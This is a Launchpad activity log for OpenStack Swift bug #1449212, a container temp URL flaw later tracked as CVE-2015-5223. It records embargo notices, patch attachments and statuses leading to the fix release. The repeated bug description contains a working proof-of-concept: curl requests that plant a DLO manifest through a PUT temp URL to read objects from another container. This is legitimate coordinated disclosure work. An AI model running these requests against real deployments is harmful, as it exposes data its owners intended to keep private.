Activity log for bug #1449212

Date Who What changed Old value New value Message
2015-04-27 18:59:22 Richard Hawkins bug added bug
2015-04-27 19:22:24 Jeremy Stanley description A user, using a container level temp URL key, can create a PUT temp URL and create a DLO/SLO that references objects in another container, potentially leaking information that was intended to be private. Example: # Create object in container with secrets $ curl -i -XPUT -H'x-auth-token: AUTH_tkbfc02e65fe184fa88500de6e9293dced' http://127.0.0.1:8080/v1/AUTH_test/secrets/foo.txt --data "12345" HTTP/1.1 201 Created Last-Modified: Mon, 27 Apr 2015 18:34:45 GMT Content-Length: 0 Etag: 827ccb0eea8a706c4c34a16891f84e7b Content-Type: text/html; charset=UTF-8 X-Trans-Id: txdb50279b32684c198a1e5-00553e8144 Date: Mon, 27 Apr 2015 18:34:44 GMT # Create PUT temp URL, and create DLO pointing to "secret" container. $ curl -i -XPUT http://127.0.0.1:8080/v1/AUTH_test/container_a/uhoh.txt\?temp_url_sig\=b3b1a841a9262bbaa6eb546e5c2054be17377be5\;temp_url_expires\=1430160082 -H'X-Object-Manifest: secrets/f' -H'Content-Length: 0' HTTP/1.1 201 Created Last-Modified: Mon, 27 Apr 2015 18:37:08 GMT Content-Length: 0 Etag: d41d8cd98f00b204e9800998ecf8427e Content-Type: text/html; charset=UTF-8 X-Trans-Id: txf89037608c7a461f9f6f1-00553e81d3 Date: Mon, 27 Apr 2015 18:37:07 GMT # GET secrets using temp URL $ curl -i http://127.0.0.1:8080/v1/AUTH_test/container_a/uhoh.txt\?temp_url_sig\=25d3740e42b56cbbaae15094bfc2a4f3ce3def86\;temp_url_expires\=1430160141 HTTP/1.1 200 OK Content-Length: 5 Accept-Ranges: bytes X-Object-Manifest: container_b/f Last-Modified: Mon, 27 Apr 2015 18:37:08 GMT Etag: "1f32aa4c9a1d2ea010adcf2348166a04" X-Timestamp: 1430159827.15679 Content-Type: text/plain Content-Disposition: attachment; filename="uhoh.txt"; filename*=UTF-8''uhoh.txt X-Trans-Id: txbfe86e01cdef48caaeac2-00553e81ea Date: Mon, 27 Apr 2015 18:37:30 GMT 12345% This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. A user, using a container level temp URL key, can create a PUT temp URL and create a DLO/SLO that references objects in another container, potentially leaking information that was intended to be private. Example: # Create object in container with secrets $ curl -i -XPUT -H'x-auth-token: AUTH_tkbfc02e65fe184fa88500de6e9293dced' http://127.0.0.1:8080/v1/AUTH_test/secrets/foo.txt --data "12345" HTTP/1.1 201 Created Last-Modified: Mon, 27 Apr 2015 18:34:45 GMT Content-Length: 0 Etag: 827ccb0eea8a706c4c34a16891f84e7b Content-Type: text/html; charset=UTF-8 X-Trans-Id: txdb50279b32684c198a1e5-00553e8144 Date: Mon, 27 Apr 2015 18:34:44 GMT # Create PUT temp URL, and create DLO pointing to "secret" container. $ curl -i -XPUT http://127.0.0.1:8080/v1/AUTH_test/container_a/uhoh.txt\?temp_url_sig\=b3b1a841a9262bbaa6eb546e5c2054be17377be5\;temp_url_expires\=1430160082 -H'X-Object-Manifest: secrets/f' -H'Content-Length: 0' HTTP/1.1 201 Created Last-Modified: Mon, 27 Apr 2015 18:37:08 GMT Content-Length: 0 Etag: d41d8cd98f00b204e9800998ecf8427e Content-Type: text/html; charset=UTF-8 X-Trans-Id: txf89037608c7a461f9f6f1-00553e81d3 Date: Mon, 27 Apr 2015 18:37:07 GMT # GET secrets using temp URL $ curl -i http://127.0.0.1:8080/v1/AUTH_test/container_a/uhoh.txt\?temp_url_sig\=25d3740e42b56cbbaae15094bfc2a4f3ce3def86\;temp_url_expires\=1430160141 HTTP/1.1 200 OK Content-Length: 5 Accept-Ranges: bytes X-Object-Manifest: container_b/f Last-Modified: Mon, 27 Apr 2015 18:37:08 GMT Etag: "1f32aa4c9a1d2ea010adcf2348166a04" X-Timestamp: 1430159827.15679 Content-Type: text/plain Content-Disposition: attachment; filename="uhoh.txt"; filename*=UTF-8''uhoh.txt X-Trans-Id: txbfe86e01cdef48caaeac2-00553e81ea Date: Mon, 27 Apr 2015 18:37:30 GMT 12345%
2015-04-27 19:22:35 Jeremy Stanley bug task added ossa
2015-04-27 19:22:46 Jeremy Stanley ossa: status New Incomplete
2015-04-27 19:23:12 Jeremy Stanley bug added subscriber Swift Core security contacts
2015-04-27 19:24:37 Jeremy Stanley description This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. A user, using a container level temp URL key, can create a PUT temp URL and create a DLO/SLO that references objects in another container, potentially leaking information that was intended to be private. Example: # Create object in container with secrets $ curl -i -XPUT -H'x-auth-token: AUTH_tkbfc02e65fe184fa88500de6e9293dced' http://127.0.0.1:8080/v1/AUTH_test/secrets/foo.txt --data "12345" HTTP/1.1 201 Created Last-Modified: Mon, 27 Apr 2015 18:34:45 GMT Content-Length: 0 Etag: 827ccb0eea8a706c4c34a16891f84e7b Content-Type: text/html; charset=UTF-8 X-Trans-Id: txdb50279b32684c198a1e5-00553e8144 Date: Mon, 27 Apr 2015 18:34:44 GMT # Create PUT temp URL, and create DLO pointing to "secret" container. $ curl -i -XPUT http://127.0.0.1:8080/v1/AUTH_test/container_a/uhoh.txt\?temp_url_sig\=b3b1a841a9262bbaa6eb546e5c2054be17377be5\;temp_url_expires\=1430160082 -H'X-Object-Manifest: secrets/f' -H'Content-Length: 0' HTTP/1.1 201 Created Last-Modified: Mon, 27 Apr 2015 18:37:08 GMT Content-Length: 0 Etag: d41d8cd98f00b204e9800998ecf8427e Content-Type: text/html; charset=UTF-8 X-Trans-Id: txf89037608c7a461f9f6f1-00553e81d3 Date: Mon, 27 Apr 2015 18:37:07 GMT # GET secrets using temp URL $ curl -i http://127.0.0.1:8080/v1/AUTH_test/container_a/uhoh.txt\?temp_url_sig\=25d3740e42b56cbbaae15094bfc2a4f3ce3def86\;temp_url_expires\=1430160141 HTTP/1.1 200 OK Content-Length: 5 Accept-Ranges: bytes X-Object-Manifest: container_b/f Last-Modified: Mon, 27 Apr 2015 18:37:08 GMT Etag: "1f32aa4c9a1d2ea010adcf2348166a04" X-Timestamp: 1430159827.15679 Content-Type: text/plain Content-Disposition: attachment; filename="uhoh.txt"; filename*=UTF-8''uhoh.txt X-Trans-Id: txbfe86e01cdef48caaeac2-00553e81ea Date: Mon, 27 Apr 2015 18:37:30 GMT 12345% This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added to the bug as attachments. A user, using a container level temp URL key, can create a PUT temp URL and create a DLO/SLO that references objects in another container, potentially leaking information that was intended to be private. Example: # Create object in container with secrets $ curl -i -XPUT -H'x-auth-token: AUTH_tkbfc02e65fe184fa88500de6e9293dced' http://127.0.0.1:8080/v1/AUTH_test/secrets/foo.txt --data "12345" HTTP/1.1 201 Created Last-Modified: Mon, 27 Apr 2015 18:34:45 GMT Content-Length: 0 Etag: 827ccb0eea8a706c4c34a16891f84e7b Content-Type: text/html; charset=UTF-8 X-Trans-Id: txdb50279b32684c198a1e5-00553e8144 Date: Mon, 27 Apr 2015 18:34:44 GMT # Create PUT temp URL, and create DLO pointing to "secret" container. $ curl -i -XPUT http://127.0.0.1:8080/v1/AUTH_test/container_a/uhoh.txt\?temp_url_sig\=b3b1a841a9262bbaa6eb546e5c2054be17377be5\;temp_url_expires\=1430160082 -H'X-Object-Manifest: secrets/f' -H'Content-Length: 0' HTTP/1.1 201 Created Last-Modified: Mon, 27 Apr 2015 18:37:08 GMT Content-Length: 0 Etag: d41d8cd98f00b204e9800998ecf8427e Content-Type: text/html; charset=UTF-8 X-Trans-Id: txf89037608c7a461f9f6f1-00553e81d3 Date: Mon, 27 Apr 2015 18:37:07 GMT # GET secrets using temp URL $ curl -i http://127.0.0.1:8080/v1/AUTH_test/container_a/uhoh.txt\?temp_url_sig\=25d3740e42b56cbbaae15094bfc2a4f3ce3def86\;temp_url_expires\=1430160141 HTTP/1.1 200 OK Content-Length: 5 Accept-Ranges: bytes X-Object-Manifest: container_b/f Last-Modified: Mon, 27 Apr 2015 18:37:08 GMT Etag: "1f32aa4c9a1d2ea010adcf2348166a04" X-Timestamp: 1430159827.15679 Content-Type: text/plain Content-Disposition: attachment; filename="uhoh.txt"; filename*=UTF-8''uhoh.txt X-Trans-Id: txbfe86e01cdef48caaeac2-00553e81ea Date: Mon, 27 Apr 2015 18:37:30 GMT 12345%
2015-04-27 20:12:37 Christian Schwede swift: status New Confirmed
2015-04-28 08:34:48 Christian Schwede attachment added tempurl_fix.patch https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4386391/+files/tempurl_fix.patch
2015-04-28 09:19:19 Christian Schwede attachment added tempurl_fix.patch https://bugs.launchpad.net/ossa/+bug/1449212/+attachment/4386423/+files/tempurl_fix.patch
2015-05-01 00:33:30 Samuel Merritt attachment added container-tempurl-scoping.diff https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4388691/+files/container-tempurl-scoping.diff
2015-05-04 21:54:20 Samuel Merritt attachment added tempurl-torgomatic-patch2.diff https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4390909/+files/tempurl-torgomatic-patch2.diff
2015-05-05 15:23:21 Tristan Cacqueray ossa: status Incomplete Confirmed
2015-05-11 14:09:06 Thierry Carrez ossa: importance Undecided Medium
2015-06-01 06:21:40 Matthew Oliver attachment added Sam's patch with a fixed func test. https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4407820/+files/tempurl_fix.patch
2015-06-29 14:32:40 Tristan Cacqueray nominated for series swift/juno
2015-06-29 14:32:40 Tristan Cacqueray nominated for series swift/kilo
2015-06-29 14:41:02 Tristan Cacqueray bug added subscriber OSSG CoreSec
2015-07-29 17:31:20 John Dickinson swift: importance Undecided Critical
2015-08-04 07:40:52 clayg attachment added disable-get-container-tempurl-cross-container.patch https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4438741/+files/disable-get-container-tempurl-cross-container.patch
2015-08-04 07:43:53 clayg attachment added disable-get-container-tempurl-cross-container-2.patch https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4438746/+files/disable-get-container-tempurl-cross-container-2.patch
2015-08-05 09:01:52 Christian Schwede attachment added disable-get-container-tempurl-cross-container-3.patch https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4439609/+files/disable-get-container-tempurl-cross-container-3.patch
2015-08-05 12:38:31 Alistair Coles attachment added acoles-combined-tempurl-xlo-fixes.diff https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4439721/+files/acoles-combined-tempurl-xlo-fixes.diff
2015-08-05 16:00:09 Christian Schwede attachment added test_patch.sh https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4439846/+files/test_patch.sh
2015-08-05 18:12:12 Alistair Coles attachment added acoles-tempurl-dlo-functest-mod.patch https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4439888/+files/acoles-tempurl-dlo-functest-mod.patch
2015-08-05 21:50:11 Samuel Merritt attachment added clays-56-with-fixes.diff https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4439955/+files/clays-56-with-fixes.diff
2015-08-06 00:39:26 Samuel Merritt attachment added tempurl-torgomatic-patch3.diff https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4439989/+files/tempurl-torgomatic-patch3.diff
2015-08-06 14:01:09 Alistair Coles attachment added container-tempurl.patch https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4440490/+files/container-tempurl.patch
2015-08-07 00:05:24 Samuel Merritt attachment added tempurl-torgomatic-patch4.diff https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4440773/+files/tempurl-torgomatic-patch4.diff
2015-08-10 15:11:49 Samuel Merritt attachment added tempurl-torgomatic-patch5.diff https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4442299/+files/tempurl-torgomatic-patch5.diff
2015-08-10 15:11:54 Samuel Merritt attachment added tempurl-torgomatic-patch5.diff https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4442300/+files/tempurl-torgomatic-patch5.diff
2015-08-10 16:30:33 Samuel Merritt attachment added tempurl-torgomatic-patch6.diff https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4442310/+files/tempurl-torgomatic-patch6.diff
2015-08-10 22:09:38 Samuel Merritt attachment added tempurl-torgomatic-patch7.diff https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4442462/+files/tempurl-torgomatic-patch7.diff
2015-08-11 13:07:07 Alistair Coles attachment added tempurl-acoles-patch8.diff https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4442888/+files/tempurl-acoles-patch8.diff
2015-08-11 14:18:02 Alistair Coles attachment added tempurl-acoles-patch9.diff https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4442926/+files/tempurl-acoles-patch9.diff
2015-08-18 06:19:40 John Dickinson bug task added swift/kilo
2015-08-18 06:26:07 John Dickinson attachment added kilo-tempurl-bp-combined.patch https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4446467/+files/kilo-tempurl-bp-combined.patch
2015-08-20 18:29:23 clayg attachment added combined dlo & container tempurl fixes for master (ef8f14f) https://bugs.launchpad.net/swift/+bug/1449212/+attachment/4449743/+files/master-tempurl-combined.patch
2015-08-20 19:53:06 Tristan Cacqueray ossa: assignee Tristan Cacqueray (tristan-cacqueray)
2015-08-20 19:53:12 Tristan Cacqueray ossa: status Confirmed Fix Committed
2015-08-26 15:00:59 Tristan Cacqueray information type Private Security Public Security
2015-08-26 18:36:30 Tristan Cacqueray description This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added to the bug as attachments. A user, using a container level temp URL key, can create a PUT temp URL and create a DLO/SLO that references objects in another container, potentially leaking information that was intended to be private. Example: # Create object in container with secrets $ curl -i -XPUT -H'x-auth-token: AUTH_tkbfc02e65fe184fa88500de6e9293dced' http://127.0.0.1:8080/v1/AUTH_test/secrets/foo.txt --data "12345" HTTP/1.1 201 Created Last-Modified: Mon, 27 Apr 2015 18:34:45 GMT Content-Length: 0 Etag: 827ccb0eea8a706c4c34a16891f84e7b Content-Type: text/html; charset=UTF-8 X-Trans-Id: txdb50279b32684c198a1e5-00553e8144 Date: Mon, 27 Apr 2015 18:34:44 GMT # Create PUT temp URL, and create DLO pointing to "secret" container. $ curl -i -XPUT http://127.0.0.1:8080/v1/AUTH_test/container_a/uhoh.txt\?temp_url_sig\=b3b1a841a9262bbaa6eb546e5c2054be17377be5\;temp_url_expires\=1430160082 -H'X-Object-Manifest: secrets/f' -H'Content-Length: 0' HTTP/1.1 201 Created Last-Modified: Mon, 27 Apr 2015 18:37:08 GMT Content-Length: 0 Etag: d41d8cd98f00b204e9800998ecf8427e Content-Type: text/html; charset=UTF-8 X-Trans-Id: txf89037608c7a461f9f6f1-00553e81d3 Date: Mon, 27 Apr 2015 18:37:07 GMT # GET secrets using temp URL $ curl -i http://127.0.0.1:8080/v1/AUTH_test/container_a/uhoh.txt\?temp_url_sig\=25d3740e42b56cbbaae15094bfc2a4f3ce3def86\;temp_url_expires\=1430160141 HTTP/1.1 200 OK Content-Length: 5 Accept-Ranges: bytes X-Object-Manifest: container_b/f Last-Modified: Mon, 27 Apr 2015 18:37:08 GMT Etag: "1f32aa4c9a1d2ea010adcf2348166a04" X-Timestamp: 1430159827.15679 Content-Type: text/plain Content-Disposition: attachment; filename="uhoh.txt"; filename*=UTF-8''uhoh.txt X-Trans-Id: txbfe86e01cdef48caaeac2-00553e81ea Date: Mon, 27 Apr 2015 18:37:30 GMT 12345% A user, using a container level temp URL key, can create a PUT temp URL and create a DLO/SLO that references objects in another container, potentially leaking information that was intended to be private. Example: # Create object in container with secrets $ curl -i -XPUT -H'x-auth-token: AUTH_tkbfc02e65fe184fa88500de6e9293dced' http://127.0.0.1:8080/v1/AUTH_test/secrets/foo.txt --data "12345" HTTP/1.1 201 Created Last-Modified: Mon, 27 Apr 2015 18:34:45 GMT Content-Length: 0 Etag: 827ccb0eea8a706c4c34a16891f84e7b Content-Type: text/html; charset=UTF-8 X-Trans-Id: txdb50279b32684c198a1e5-00553e8144 Date: Mon, 27 Apr 2015 18:34:44 GMT # Create PUT temp URL, and create DLO pointing to "secret" container. $ curl -i -XPUT http://127.0.0.1:8080/v1/AUTH_test/container_a/uhoh.txt\?temp_url_sig\=b3b1a841a9262bbaa6eb546e5c2054be17377be5\;temp_url_expires\=1430160082 -H'X-Object-Manifest: secrets/f' -H'Content-Length: 0' HTTP/1.1 201 Created Last-Modified: Mon, 27 Apr 2015 18:37:08 GMT Content-Length: 0 Etag: d41d8cd98f00b204e9800998ecf8427e Content-Type: text/html; charset=UTF-8 X-Trans-Id: txf89037608c7a461f9f6f1-00553e81d3 Date: Mon, 27 Apr 2015 18:37:07 GMT # GET secrets using temp URL $ curl -i http://127.0.0.1:8080/v1/AUTH_test/container_a/uhoh.txt\?temp_url_sig\=25d3740e42b56cbbaae15094bfc2a4f3ce3def86\;temp_url_expires\=1430160141 HTTP/1.1 200 OK Content-Length: 5 Accept-Ranges: bytes X-Object-Manifest: container_b/f Last-Modified: Mon, 27 Apr 2015 18:37:08 GMT Etag: "1f32aa4c9a1d2ea010adcf2348166a04" X-Timestamp: 1430159827.15679 Content-Type: text/plain Content-Disposition: attachment; filename="uhoh.txt"; filename*=UTF-8''uhoh.txt X-Trans-Id: txbfe86e01cdef48caaeac2-00553e81ea Date: Mon, 27 Apr 2015 18:37:30 GMT 12345%
2015-08-27 10:28:39 OpenStack Infra swift: status Confirmed Fix Committed
2015-08-27 10:28:43 OpenStack Infra cve linked 2015-5223
2015-09-01 12:25:16 Thierry Carrez swift: status Fix Committed Fix Released
2015-09-01 12:25:16 Thierry Carrez swift: milestone 2.4.0
2015-09-03 21:32:03 OpenStack Infra tags tempurl in-feature-crypto tempurl
2015-09-04 10:32:18 OpenStack Infra swift/kilo: status New Fix Committed
2015-09-08 12:15:18 Tristan Cacqueray ossa: status Fix Committed Fix Released
2015-09-08 20:44:43 OpenStack Infra tags in-feature-crypto tempurl in-feature-crypto in-feature-hummingbird tempurl